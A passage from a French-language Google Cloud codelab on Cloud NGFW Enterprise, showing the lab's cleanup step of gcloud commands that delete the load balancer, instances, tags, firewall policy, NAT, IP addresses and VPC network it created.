  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Nettoyage de la configuration de base

Passez à l'étape suivante si vous préférez supprimer les ressources de base.

Définissez les variables d'environnement si nécessaire. Dans Cloud Shell, supprimez les composants de l'équilibreur de charge réseau:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Supprimez des instances:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Si les rôles "tagAdmin" et "tagUsers" ont été modifiés, vous pouvez également suivre la procédure ci-dessous:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Supprimez la clé et les valeurs de tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Supprimez la règle de réseau Cloud Firewall et son association:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Supprimez Cloud Router et Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Supprimez les adresses IP réservées:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Enfin, supprimez le sous-réseau et le réseau VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Félicitations !

Félicitations ! Vous avez terminé l'atelier de programmation Cloud NGFW Enterprise pour l'inspection est-ouest et nord-sud.